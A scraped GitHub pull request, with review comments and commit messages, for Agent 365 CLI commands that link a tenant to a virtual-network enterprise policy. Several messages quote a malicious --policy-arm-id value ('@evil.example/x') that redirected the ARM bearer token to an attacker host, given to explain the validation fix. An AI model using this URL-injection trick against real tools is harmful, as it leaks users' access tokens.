You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The documented subnet-injection flow (Learn) ends with Enable-SubnetInjection from the Microsoft.PowerPlatform.EnterprisePolicies module, which takes an -environmentId. Agent 365 provisions a managed Power Platform environment per tenant and does not publish its id, so admins cannot finish the flow today.
These subcommands replace only that last step. Everything before it — creating the subnets, delegating them to Microsoft.PowerPlatform/enterprisePolicies, and New-SubnetInjectionEnterprisePolicy — is unchanged.
The one non-obvious decision
The policy systemId read stays in the CLI rather than in MCP Platform. It is a plain ARM GET against a resource the admin already owns, and doing it client-side with the admin's own az login means the platform needs no delegated ARM user_impersonation consent grant, no ARM endpoint configuration per cloud, and no new security review. The platform side is pure S2S to BAP.
ArmApiService.GetEnterprisePolicySystemIdAsync tries 2020-10-30 then falls back to 2020-10-30-preview; the PowerShell module uses Get-AzResource without an explicit version and the two are both attested in different places.
Exit codes: 1 on Failed or request error, 0 otherwise, including a still-running operation when --wait is absent. That last case is deliberate.
--swap semantics: relinking the same policy is a no-op that succeeds without the flag; a different policy is a conflict unless --swap is passed.
Dependencies
Requires the server side, MCP-Platform PR #3655, which adds POST /agents/vnet/link, /unlink, and GET /agents/vnet/status. The CLI app also needs consent for the new AgentTools.VNet.* scopes.
Review feedback addressed
ARM URL injection.--policy-arm-id was concatenated onto https://management.azure.com (no trailing slash) while the ARM bearer token is a default request header, so --policy-arm-id "@evil.example/x" made management.azure.com userinfo and sent the token to the attacker's host. Now shape-checked against an explicit /subscriptions/{guid}/resourceGroups/../providers/Microsoft.PowerPlatform/enterprisePolicies/.. pattern.
NotStarted counts as in-flight.IsRunning matched only Running, so a queued operation looked terminal to --wait.
Tokens are tenant-targeted. The Agent 365 token was acquired with a login hint but no tenant, leaving the authority at common; the Windows broker ignores the hint and can return a different account -- on a tenant-wide setting that means changing the wrong tenant.
--tenant-id and --yes. Explicit tenant override (blank is rejected rather than silently falling back), and confirmation on the destructive paths: vnet link --swap and vnet unlink. Plain link and status are not gated -- a conflicting link is reported, not replaced, and status is read-only.
CommandNames.Network is now used instead of a duplicate literal.
Tests no longer shell out to az.VNetLinkService takes the repo's existing loginHintResolver seam. Handler bodies are now invoked directly (tenant resolution, service calls, exit codes), not just ReportAsync; 8 of the new cases are malicious --policy-arm-id inputs.
CHANGELOG trimmed to one sentence with the PR reference.
The --wait ceiling now bounds an in-flight poll. The stopwatch only limited the gap between completed polls, so a poll starting inside the budget could run to the HttpClient's two-minute timeout and overshoot. The ceiling is armed on each request's token; a timeout mid-request reports the last known state, a caller's Ctrl+C still propagates.
ArmApiService no longer swallows cancellation. Its broad catch converted the OperationCanceledException that RetryHelper deliberately rethrows into null, so Ctrl+C read as "could not read the policy" and link carried on as if it did not exist.
docs/commands/network.md claimed az login was used "only to read the enterprise policy". It is the source of two defaults -- the tenant and the signed-in account -- and --tenant-id overrides only the first. No token is borrowed from Azure CLI; both the ARM read and the Agent 365 call acquire their own.
Test helper fix worth flagging:FakeAuth configured GetAccessTokenAsync with matchers for 7 of its 8 parameters, omitting the CancellationToken. That pinned the setup to ct == default, so any call carrying a real token missed it and returned null -- no cancellation path was reachable in a test at all.
One finding from that round is not actioned, because I believe it is incorrect: RequiredClientAppPermissions is the CLI app's Microsoft Graph permission list, resolved against the Graph SP's oauth2PermissionScopes, so an Agent 365 Tools scope cannot go in it. Reasoning in this comment.
VNetLinkService.SendAsync no longer rethrows HttpClient's own timeout as cancellation. It surfaces as an OperationCanceledException with no token cancelled, so a bare link, unlink or status threw at the caller instead of returning the documented null and logging the failure. Now rethrows only when the supplied token is actually cancelled, which still covers Ctrl+C and the wait ceiling firing on its linked token — the same shape as the ArmApiService fix in 2e6d896. Found on Add a365 network gsa enable|disable|status #497, which carries the identical code; not flagged here.
A per-request HttpClient no longer disposes a handler it does not own.HttpClientFactory.CreateAuthenticatedClient built the client as new HttpClient(handler), which defaults to disposeHandler: true, so a service that holds one handler as a field and builds a client per request lost that handler to the first client's disposal. Every later request, including every poll after the first, would have failed with ObjectDisposedException against any handler with real disposal semantics. A supplied handler now stays owned by the supplier; a handler the factory creates itself is still disposed with the client.
The documented subnet-injection flow ends with Enable-SubnetInjection, which
takes the id of the Power Platform environment to link. Agent 365 provisions a
managed environment per tenant and does not publish its id, so admins cannot
finish the flow. These subcommands replace that final step: the platform
resolves the environment server-side and performs the link.
The policy systemId read stays here rather than in the platform. It is a plain
ARM GET against a resource the admin already owns, and doing it client-side with
the admin's own az login avoids giving the platform a delegated ARM consent
grant it otherwise has no need for.
Co-authored-by: Copilot <[email protected]>
Moderate (1 vote): The ARM request uses a separate MSAL token rather than the Azure CLI token; align the token flow or document separate authentication. Moderate (1 vote): Rethrow OperationCanceledException instead of converting cancellation to a null result.
Moderate (3 votes): Reject explicitly blank --tenant-id values instead of silently resolving the current tenant. Nit (1 vote): Use CommandNames.Network instead of a hard-coded name. Moderate (1 vote): Treat a running operation without an OperationId as a request failure when waiting.
docs/commands/README.md
Command index entries
No findings.
docs/commands/network.md
VNet command documentation
No findings.
CHANGELOG.md
Unreleased feature entry
Nit (3 votes): Keep the changelog entry to one concise consumer-facing sentence and move implementation details to command documentation.
CommandNames.Network is added for this command, but the constructor still hard-codes "network"; sibling registration uses CommandNames.Logs (LogsCommand.cs:19) and the constants documentation centralizes command names. Use the constant so command registration and log naming cannot drift if the name changes.
var networkCommand = new Command("network", "Configure tenant networking for Agent 365");
When --wait is requested and the platform reports Running without an OperationId, this condition skips the wait; the method then returns 0 and prints an unusable --operation-id command. Since the CLI cannot verify completion in this case, treat the malformed response as a request failure (or obtain a status handle) instead of claiming success.
if (wait && VNetLinkService.IsRunning(result.Status) && !string.IsNullOrWhiteSpace(result.OperationId))
{
logger.LogInformation("{Operation} is running. Waiting for it to settle...", operationLabel);
result = await vnetLinkService.WaitForCompletionAsync(result.OperationId, DefaultWaitTimeout, cancellationToken);
This path does not actually use the existing az login access token: EnsureArmHeadersAsync obtains a separate MSAL token, while az account show only supplies the tenant ID. A user with a valid Azure CLI session may therefore be prompted again or use a different cached account. Either pass an ARM token from az account get-access-token, or update the documented prerequisite and flow to describe the separate MSAL authentication.
if (!await EnsureArmHeadersAsync(tenantId, ct))
return null;
This catch also absorbs OperationCanceledException from the HTTP call and converts cancellation into a normal null result. Ctrl+C during the ARM read is therefore reported as a policy-read failure rather than propagating cancellation, unlike the platform request path in VNetLinkService.SendAsync; rethrow cancellation before the general exception handler.
catch (Exception ex)
{
if (NetworkHelper.IsConnectionResetByProxy(ex))
_logger.LogWarning(NetworkHelper.ConnectionResetWarning);
else
The budget is checked only after a status request, and a request can consume the remaining time before the method returns. If a poll starts near the deadline, the 10-minute --wait ceiling can be exceeded by the request timeout; compute the remaining budget before each poll and bound or cancel both the request and delay against that deadline.
The reason will be displayed to describe this comment to others. Learn more.
Requesting changes. The ARM URL construction lets the ARM bearer token be sent to an arbitrary host and needs fixing before merge. Details inline.
The open Copilot threads on this PR are also required, not optional: NotStarted not treated as running (so --wait can return early), blank --tenant-id silently falling back to az account show, the three SetHandler blocks never being invoked in tests, the static AzCliHelper call leaking into the service tests, and the multi-sentence CHANGELOG entry.
Stacking: #497 contains these same commits plus GSA but targets main, so it re-shows this whole diff. Please retarget #497 onto feature/network-vnet-link so it only shows the GSA changes; the VNet comments I left on #497 are really for this PR.
Pin the enterprise-policy ARM id to its expected shape before concatenating it
onto the ARM base URL. The base has no trailing slash and the ARM bearer token
is a default request header, so `--policy-arm-id "@evil.example/x"` produced
`https://[email protected]/x` -- userinfo, not host -- and sent
the token to the attacker. This was the only call site building a URL from
caller input.
Also:
- Treat `NotStarted` as in-flight, matching what network.md documents.
- Acquire the Agent 365 token for the resolved tenant rather than the signed-in
default. `unlink` and `status` gain `--tenant-id` so they can do the same.
- Confirm before `--swap` and `unlink`, with `--yes` for automation. Plain
`link` is not gated: a different existing link is reported as a conflict
rather than replaced, so it is not destructive.
- Reject an explicitly blank `--tenant-id` instead of silently falling back.
- Use `CommandNames.Network` rather than a literal.
- Drive the handlers through `InvokeAsync` in tests. The previous doc comment
claimed `ReportAsync` covered them, but tenant resolution, service calls and
exit codes were untested.
- Stop the VNet tests shelling out to `az account show` via `AzCliHelper`'s
static cache, using the repo's existing `loginHintResolver` seam.
Co-authored-by: Copilot <[email protected]>
Carries the vnet fixes from #494 (this branch contains that change set) and
applies the same treatment to the gsa subcommands.
Pin the enterprise-policy ARM id to its expected shape before concatenating it
onto the ARM base URL. The base has no trailing slash and the ARM bearer token
is a default request header, so `--policy-arm-id "@evil.example/x"` produced
`https://[email protected]/x` -- userinfo, not host -- and sent
the token to the attacker.
Also:
- Treat `NotStarted` as in-flight, matching what network.md documents.
- Acquire the Agent 365 token for the resolved tenant rather than the signed-in
default. `vnet unlink` and `vnet status` gain `--tenant-id` so they can do the
same; the gsa commands already resolve the az-login tenant themselves.
- Confirm before `vnet link --swap`, `vnet unlink`, `gsa enable` and
`gsa disable`, with `--yes` for automation. Plain `vnet link` is not gated: a
different existing link is reported as a conflict rather than replaced.
- Reject an explicitly blank `--tenant-id` instead of silently falling back.
- Use `CommandNames.Network` rather than a literal.
- Drive every handler through `InvokeAsync` in tests. The previous doc comment
claimed `ReportAsync` covered them, but tenant resolution, confirmation,
service calls and exit codes were untested.
- Stop the VNet tests shelling out to `az account show` via `AzCliHelper`'s
static cache, using the repo's existing `loginHintResolver` seam.
- Trim the CHANGELOG entries and reference #494 and #497.
Co-authored-by: Copilot <[email protected]>
…ogin prerequisite
The --wait ceiling only bounded the gap between completed polls, so a poll starting
just inside the budget could run to the HttpClient's own timeout and overshoot by
minutes. The ceiling is now armed on the token each request is made with; a timeout
mid-request reports the last known state, while a caller's Ctrl+C still propagates.
ArmApiService's broad catch swallowed the OperationCanceledException that RetryHelper
deliberately rethrows, so Ctrl+C during the policy read surfaced as "could not read
the policy" and link carried on as though the policy did not exist.
Both test helpers configured GetAccessTokenAsync without a matcher for its 8th
parameter, the CancellationToken, pinning the setup to ct == default. Any call
carrying a real token missed the setup and returned null, which the services report
as a failed token acquisition -- so a test could not exercise any cancellation path
at all. This is why the two new cancellation tests initially failed for the wrong
reason.
docs: the az login prerequisite claimed it was used "only to read the enterprise
policy". It is actually the source of two defaults, the tenant and the signed-in
account, and --tenant-id overrides only the first. Tokens are never borrowed from
Azure CLI -- both the ARM read and the Agent 365 call acquire their own.
Co-authored-by: Copilot <[email protected]>
The --wait ceiling didn't bound an in-flight poll. Correct, and the overshoot was up to the HttpClient's two-minute timeout on top of the stated budget. The ceiling is now armed on the token each request is made with. A timeout mid-request reports the last known state; a caller's Ctrl+C still propagates.
docs/commands/network.md overstated the az login prerequisite. Also correct, and wrong in a second way the comment didn't mention: the ARM token isn't an Azure CLI token, it comes from the CLI's own AuthenticationService. Rewritten.
Fixing those surfaced a latent problem in the tests: FakeAuth in both service test classes configured GetAccessTokenAsync with matchers for 7 of its 8 parameters, omitting the CancellationToken. That pins the setup to ct == default, so any call carrying a real token missed it and returned null -- no cancellation path was reachable in a test at all. Fixed in the same commit.
Not fixed, because I believe it's incorrect: AgentTools.VNet.Manage.All is missing from AuthenticationConstants.RequiredClientAppPermissions.
That array is the CLI app's Microsoft Graph permissions. Every entry is a Graph permission, and ClientAppValidator.ResolvePermissionIdsAsync resolves each name against the Graph service principal's oauth2PermissionScopes. Adding an Agent 365 Tools scope would make a365 setup try to configure a Graph permission that doesn't exist, and fail validation.
The Agent 365 Tools token here is acquired as {atgAppId}/.default -- the same way all nine Agent365ToolingService calls do (AddMcpServerAsync, list servers, and the rest). None of them register anything in that array either, and none needed to. If the CLI app does need an explicit ATG delegated grant, that's a pre-existing gap across every Agent 365 Tools call in the CLI, not something this PR introduces, and the fix belongs in the consent flow rather than the Graph permission list.
Happy to be corrected if there's a consent path I've missed.
An explicit empty value (for example, --policy-arm-id "") satisfies IsRequired but reaches LinkAsync and throws ArgumentException. The command does not handle that exception, so the global handler reports the generic "Unexpected error"/bug message instead of a targeted invalid-option error; validate the option here and set exit code 1.
This branch was cut to include PR #494's virtual network work, so the two PRs
duplicated roughly 1400 lines and every VNet review finding had to be answered
twice. GSA never depended on any of it: GsaService talks to the platform
directly and shares only the tenant resolution and confirmation helpers in
NetworkCommand, which both features need.
Removed VNetLinkService, IVNetLinkService, VNetModels and their tests, reverted
ArmApiService and its tests to main, dropped the vnet subcommand tree along with
ReportAsync and LogStatus, and removed the vnet entries from the CHANGELOG and
the docs index. NetworkCommand.CreateCommand and its test helper lose the
IVNetLinkService parameter.
The two branches now both define the network root command and the shared
helpers, so whichever merges second will conflict there. That is a smaller
price than reviewing the same code on two PRs.
2063 passed, 0 failed, 12 skipped.
SendAsync rethrew every OperationCanceledException. HttpClient's own timeout
surfaces as one with no token cancelled, so a bare link, unlink or status threw
at the caller instead of returning the documented null and logging the failure.
It now rethrows only when the supplied token is actually cancelled, which still
covers both a Ctrl+C and the wait ceiling firing on its linked token. Same shape
as the ArmApiService fix in 2e6d896; caught on the GSA PR, which carries the
identical code.
2118 passed, 0 failed, 12 skipped.
The injected _handler is retained across calls, but CreateAuthenticatedClient constructs new HttpClient(handler) and this using disposes it after the first request. A second poll in WaitForCompletionAsync then reuses a disposed handler and returns a false failure, so the public test/custom-handler seam cannot support multi-request operations. Reuse one client for the service lifetime or create the client without transferring ownership of the injected handler.
NotStarted is explicitly treated as an in-flight state by VNetLinkService.IsRunning and is listed in the command documentation, but it is omitted from this public status contract. Include it here so consumers of the model do not incorrectly treat the documented queued state as unknown.
CreateAuthenticatedClient built the client with HttpClient's default handler
ownership, so a caller that holds one handler and builds a client per request
lost the handler to the first client's disposal. VNetLinkService is exactly
that shape, so the second poll of WaitForCompletionAsync would have failed
with ObjectDisposedException against any handler that honours Dispose.
A supplied handler now stays owned by whoever supplied it. Found on #497,
which carries the identical factory; not flagged here.
--wait's ceiling does not cover this await: ResolveLoginHintAsync ultimately runs az account show through a Func<Task<string?>> with no cancellation token, and it executes before the token reaches MSAL/HttpClient. If that subprocess hangs on the first status poll, WaitForCompletionAsync can block beyond its 10-minute ceiling despite the linked token. Make the resolver await observe cancellationToken (for example, await the returned task with WaitAsync(cancellationToken) or change the seam to accept a token).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
github-actions
Bot
added
documentation
Rick Brighenti (rbrighenti)
left a comment
Adds
a365 network vnet link|unlink|status.Why
The documented subnet-injection flow (Learn) ends with
Enable-SubnetInjectionfrom theMicrosoft.PowerPlatform.EnterprisePoliciesmodule, which takes an-environmentId. Agent 365 provisions a managed Power Platform environment per tenant and does not publish its id, so admins cannot finish the flow today.These subcommands replace only that last step. Everything before it — creating the subnets, delegating them to
Microsoft.PowerPlatform/enterprisePolicies, andNew-SubnetInjectionEnterprisePolicy— is unchanged.The one non-obvious decision
The policy
systemIdread stays in the CLI rather than in MCP Platform. It is a plain ARM GET against a resource the admin already owns, and doing it client-side with the admin's ownaz loginmeans the platform needs no delegated ARMuser_impersonationconsent grant, no ARM endpoint configuration per cloud, and no new security review. The platform side is pure S2S to BAP.ArmApiService.GetEnterprisePolicySystemIdAsynctries2020-10-30then falls back to2020-10-30-preview; the PowerShell module usesGet-AzResourcewithout an explicit version and the two are both attested in different places.What a reviewer should check
VNetLinkService.WaitForCompletionAsync— 10s poll, 10min default ceiling, Stopwatch-based.1onFailedor request error,0otherwise, including a still-running operation when--waitis absent. That last case is deliberate.--swapsemantics: relinking the same policy is a no-op that succeeds without the flag; a different policy is a conflict unless--swapis passed.Dependencies
Requires the server side, MCP-Platform PR #3655, which adds
POST /agents/vnet/link,/unlink, andGET /agents/vnet/status. The CLI app also needs consent for the newAgentTools.VNet.*scopes.Review feedback addressed
--policy-arm-idwas concatenated ontohttps://management.azure.com(no trailing slash) while the ARM bearer token is a default request header, so--policy-arm-id "@evil.example/x"mademanagement.azure.comuserinfo and sent the token to the attacker's host. Now shape-checked against an explicit/subscriptions/{guid}/resourceGroups/../providers/Microsoft.PowerPlatform/enterprisePolicies/..pattern.NotStartedcounts as in-flight.IsRunningmatched onlyRunning, so a queued operation looked terminal to--wait.common; the Windows broker ignores the hint and can return a different account -- on a tenant-wide setting that means changing the wrong tenant.--tenant-idand--yes. Explicit tenant override (blank is rejected rather than silently falling back), and confirmation on the destructive paths:vnet link --swapandvnet unlink. Plainlinkandstatusare not gated -- a conflicting link is reported, not replaced, andstatusis read-only.CommandNames.Networkis now used instead of a duplicate literal.az.VNetLinkServicetakes the repo's existingloginHintResolverseam. Handler bodies are now invoked directly (tenant resolution, service calls, exit codes), not justReportAsync; 8 of the new cases are malicious--policy-arm-idinputs.Second review round (2e6d896)
--waitceiling now bounds an in-flight poll. The stopwatch only limited the gap between completed polls, so a poll starting inside the budget could run to the HttpClient's two-minute timeout and overshoot. The ceiling is armed on each request's token; a timeout mid-request reports the last known state, a caller's Ctrl+C still propagates.ArmApiServiceno longer swallows cancellation. Its broad catch converted theOperationCanceledExceptionthatRetryHelperdeliberately rethrows intonull, so Ctrl+C read as "could not read the policy" andlinkcarried on as if it did not exist.docs/commands/network.mdclaimedaz loginwas used "only to read the enterprise policy". It is the source of two defaults -- the tenant and the signed-in account -- and--tenant-idoverrides only the first. No token is borrowed from Azure CLI; both the ARM read and the Agent 365 call acquire their own.FakeAuthconfiguredGetAccessTokenAsyncwith matchers for 7 of its 8 parameters, omitting theCancellationToken. That pinned the setup toct == default, so any call carrying a real token missed it and returned null -- no cancellation path was reachable in a test at all.One finding from that round is not actioned, because I believe it is incorrect:
RequiredClientAppPermissionsis the CLI app's Microsoft Graph permission list, resolved against the Graph SP'soauth2PermissionScopes, so an Agent 365 Tools scope cannot go in it. Reasoning in this comment.Third round (fcfa121, 419e2f3)
VNetLinkService.SendAsyncno longer rethrows HttpClient's own timeout as cancellation. It surfaces as anOperationCanceledExceptionwith no token cancelled, so a barelink,unlinkorstatusthrew at the caller instead of returning the documented null and logging the failure. Now rethrows only when the supplied token is actually cancelled, which still covers Ctrl+C and the wait ceiling firing on its linked token — the same shape as theArmApiServicefix in 2e6d896. Found on Add a365 network gsa enable|disable|status #497, which carries the identical code; not flagged here.A per-request
HttpClientno longer disposes a handler it does not own.HttpClientFactory.CreateAuthenticatedClientbuilt the client asnew HttpClient(handler), which defaults todisposeHandler: true, so a service that holds one handler as a field and builds a client per request lost that handler to the first client's disposal. Every later request, including every poll after the first, would have failed withObjectDisposedExceptionagainst any handler with real disposal semantics. A supplied handler now stays owned by the supplier; a handler the factory creates itself is still disposed with the client.Tests
Full suite: 2121 passed, 0 failed, 12 skipped.